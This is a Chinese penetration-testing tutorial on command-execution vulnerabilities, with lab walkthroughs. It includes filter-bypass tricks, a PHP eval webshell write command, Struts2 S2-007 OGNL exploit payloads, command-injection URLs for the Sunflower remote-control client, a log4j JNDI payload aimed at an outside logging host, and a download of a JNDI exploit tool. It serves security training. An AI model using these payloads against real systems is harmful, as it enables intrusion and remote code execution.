内容
活动
关注

Web渗透-命令执行漏洞-及常见靶场检测实战

简介: 命令执行漏洞(RCE)指应用程序调用系统命令时,用户可控制输入参数,导致恶意命令被拼接执行,从而危害系统安全。常见于PHP的system、exec等函数。攻击者可通过命令连接符在目标系统上执行任意命令,造成数据泄露或服务瘫痪。漏洞成因包括代码层过滤不严、第三方组件缺陷等。可通过参数过滤、最小权限运行等方式防御。本文还介绍了绕过方式、靶场测试及复现过程。

一、概述

命令执行(RCE):应用有时需要调用一些执行系统命令的函数,如php中的system,exec,shell exec,passthru,popen,proc popen等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

二、利用条件

1 应用调用执行系统命令的函数 2 将用户输入作为系统精灵的参数拼接到命令行中 3 没有对用户输入进行过滤

三、漏洞分类

1 代码层过滤不严 商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用: system("/bin/program--arg $arg"); 2 系统的漏洞造成命令注入 比如:bash破壳漏洞 (cve-2014-6271) 3 调用的第三方组件存在代码执行漏洞 如wordpress中用来处理图片的imagemagick组件 java中的命令执行漏洞(struts2/elasticsearchgroovy等) thinkphp命令执行 4 远程命令执行漏洞(执行的是命令) 指 用户通过浏览器提交执行操作命令,由于服务器端,没有针对执行函数做过滤,就执行了恶意命令。 5 远程代码执行漏洞(执行的是代码) 也叫代码注入漏洞,指用户通过浏览器提交执行恶意脚本代码,执行恶意构造的脚本代码

三、命令执行漏洞攻击

1. 命令连接符(windows)

| || & && 的区别: & :无论左边还是false还是true,右边都会执行(可以同时执行多条命令) &&: 左边错误,右边也不执行 | :都为true,只执行右边的命令 || : 左边为false,才会执行右边的

2. 命令连接符(Linux)

& : 后台运行( 杀进程命令:kill -s 9) ; :连接符 && : 左边的执行成功后,右边的才会执行 || : 左边错,执行右边

五、PHP执行系统命令内置函数

system() exec() shell_exec() passthru() pcntl_exec() popen() proc_open()

六、绕过方式

注意点:在Linux下,passwd是命令,/etc/passwd是文件

情景一:路径被过滤

# 使用通配符 * :多个 ? : 一个 # 特殊方式 # /'

# 未初始化变量 $a(和空格的作用类似) cat$a /etc$a/passwd$a

七、pikachu靶场测试

一、命令执行漏洞

# 输入 | dir

二、代码执行漏洞

# 输入 system("ipconfig");

三、代码执行漏洞-写入木马示例

# cmd示例: echo "<?php @eval($_POST['cmd'])?>;" > a.php

七、漏洞复现-struts2-S2-007

# 原理 参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html 当配置了验证规则 `<ActionName>-validation.xml` 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。例如这里有一个 UserAction: ```java (...) public class UserAction extends ActionSupport {  private Integer age;  private String name;  private String email; (...) ``` 然后配置有 UserAction-validation.xml: ```xml <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE validators PUBLIC  "-//OpenSymphony Group//XWork Validator 1.0//EN"  "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd"> <validators>  <field name="age">  <field-validator type="int">  <param name="min">1</param>  <param name="max">150</param>  </field-validator>  </field> </validators> ``` 当用户提交 age 为字符串而非整形数值时,后端用代码拼接 `"'" + value + "'"` 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。 因为受影响版本为 Struts2 2.0.0 - Struts2 2.2.3,所以这里给出绕过安全配置进行命令执行的 Payload(**弹计算器,无法在本项目环境下运行**): ``` ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + ' ``` ## Exploit @rickgray 在原文中只给了弹计算器的POC,我给出执行任意代码的EXP: ``` ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + ' ``` 将Exp传入可以利用的输入框(age),得到命令执行结果:  25,0-1 88%
  • 复现过程:
  • 启动docker容器:docker-compose  up -d
  • 查看dock容器启动端口:docker ps

  • 查看dock容器启动端口:访问8080端口

  • 传递文档中的参数编码并抓包

# url编码网址:https://www.qianbo.com.cn/Tool/Url-Encode.html # 源 ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + ' #编码后结果 '%20%2B%20(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls').getInputStream()))%20%2B%20'

  • 结果:

七、向日葵漏洞

版本:11.0.0.33162 启动向日葵后会启动一个4万以上的端口,通过nmap可以扫描出。 获取cookie网址:ip:端口cgi-bin/rpc?action=verify-haras(verify_string:参数值) #注入: http://xx.xx.xx.xx:xxxxx/check?cmd=ping..%26c:%26%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fwhoami http://xx.xx.xx.xx:xxxxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami 请求包Cookie格式: Cookie:CID=verify_string参数值

八、log4j靶场检测

一、 靶场搭建

# 拉取容器 docker pull vulfocus/log4j2-rce-2021-12-09 # 启动 docker run -tid -p 8080:8080 vulfocus/log4j2-rce-2021-12-09 # 查看状态 docker ps

二、检测漏洞

# url编码网址:https://www.qianbo.com.cn/Tool/Url-Encode.html 命令:${jndi:ldap://域名/exp} # 在http://www.dnslog.cn/准备一个随机url http://varin.cn:8080/ # 步骤: 点击?????后在url添加 http://varin.cn:8080/hello?payload=${jndi:ldap://xl4nrl.dnslog.cn/exp} # 将此进行url编码:${jndi:ldap://xl4nrl.dnslog.cn/exp} 结果为:%24%7Bjndi%3Aldap%3A%2F%2Fxl4nrl.dnslog.cn%2Fexp%7D # 重新拼接后并访问: http://varin.cn:8080/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2Fxl4nrl.dnslog.cn%2Fexp%7D

访问后结果:

有回显,存在漏洞

三、扩展

  • 工具下载
# 工具:JNDI-Injection-Exploit v1.0 # 下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar # kali 下载: wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
目录
相关文章
|
2月前
|
安全 测试技术 程序员
web渗透-文件包含漏洞
文件包含漏洞源于程序动态包含文件时未严格校验用户输入,导致可加载恶意文件。分为本地和远程包含,常见于PHP,利用伪协议、日志或session文件可实现代码执行,需通过合理过滤和配置防范。
529 79
web渗透-文件包含漏洞
|
2月前
|
安全 PHP 开发工具
Web渗透信息收集进阶
网站敏感目录与文件指易被恶意扫描利用的路径,如后台管理、.git、.svn等,可能导致源码泄露或权限入侵。常用工具如御剑、Dirbuster、Dirsearch可探测此类信息,需加强安全防护。
524 58
Web渗透信息收集进阶
|
2月前
|
安全 网络协议 NoSQL
Web渗透-常见的端口及对其的攻击思路
本文介绍了常见网络服务端口及其安全风险,涵盖FTP、SSH、Telnet、SMTP、DNS、HTTP、SMB、数据库及远程桌面等20余个端口,涉及弱口令爆破、信息泄露、未授权访问、缓冲区溢出等典型漏洞,适用于网络安全学习与渗透测试参考。
559 59
|
2月前
|
存储 安全 前端开发
Web渗透-文件上传漏洞-上篇
文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
291 1
Web渗透-文件上传漏洞-上篇
|
2月前
|
安全 中间件 应用服务中间件
WEB渗透-文件上传漏洞-下篇
本文详解文件上传安全漏洞,涵盖白名单绕过(如00截断、条件竞争)、图片木马制作与利用、以及IIS、Apache、Nginx等常见解析漏洞原理与防御。结合实战案例,深入剖析攻击手法与修复方案。
180 1
|
1月前
|
算法 Java Go
【GoGin】(1)上手Go Gin 基于Go语言开发的Web框架,本文介绍了各种路由的配置信息;包含各场景下请求参数的基本传入接收
gin 框架中采用的路优酷是基于httprouter做的是一个高性能的 HTTP 请求路由器,适用于 Go 语言。它的设计目标是提供高效的路由匹配和低内存占用,特别适合需要高性能和简单路由的应用场景。
174 4
|
5月前
|
缓存 JavaScript 前端开发
鸿蒙5开发宝藏案例分享---Web开发优化案例分享
本文深入解读鸿蒙官方文档中的 `ArkWeb` 性能优化技巧,从预启动进程到预渲染,涵盖预下载、预连接、预取POST等八大优化策略。通过代码示例详解如何提升Web页面加载速度,助你打造流畅的HarmonyOS应用体验。内容实用,按需选用,让H5页面快到飞起!
|
5月前
|
JavaScript 前端开发 API
鸿蒙5开发宝藏案例分享---Web加载时延优化解析
本文深入解析了鸿蒙开发中Web加载完成时延的优化技巧,结合官方案例与实际代码,助你提升性能。核心内容包括:使用DevEco Profiler和DevTools定位瓶颈、四大优化方向(资源合并、接口预取、图片懒加载、任务拆解)及高频手段总结。同时提供性能优化黄金准则,如首屏资源控制在300KB内、关键接口响应≤200ms等,帮助开发者实现丝般流畅体验。
|
前端开发 JavaScript Shell
鸿蒙5开发宝藏案例分享---Web页面内点击响应时延分析
本文为鸿蒙开发者整理了Web性能优化的实战案例解析,结合官方文档深度扩展。内容涵盖点击响应时延核心指标(≤100ms)、性能分析工具链(如DevTools时间线、ArkUI Trace抓取)以及高频优化场景,包括递归函数优化、网络请求阻塞解决方案和setTimeout滥用问题等。同时提供进阶技巧,如首帧加速、透明动画陷阱规避及Web组件初始化加速,并通过优化前后Trace对比展示成果。最后总结了快速定位问题的方法与开发建议,助力开发者提升Web应用性能。
|
5月前
|
JSON 开发框架 自然语言处理
【HarmonyOS Next之旅】基于ArkTS开发(三) -> 兼容JS的类Web开发(三)
本文主要介绍了应用开发中的三大核心内容:生命周期管理、资源限定与访问以及多语言支持。在生命周期部分,详细说明了应用和页面的生命周期函数及其触发时机,帮助开发者更好地掌控应用状态变化。资源限定与访问章节,则聚焦于资源限定词的定义、命名规则及匹配逻辑,并阐述了如何通过 `$r` 引用 JS 模块内的资源。最后,多语言支持部分讲解了如何通过 JSON 文件定义多语言资源,使用 `$t` 和 `$tc` 方法实现简单格式化与单复数格式化,为全球化应用提供便利。
243 104

热门文章

最新文章

下一篇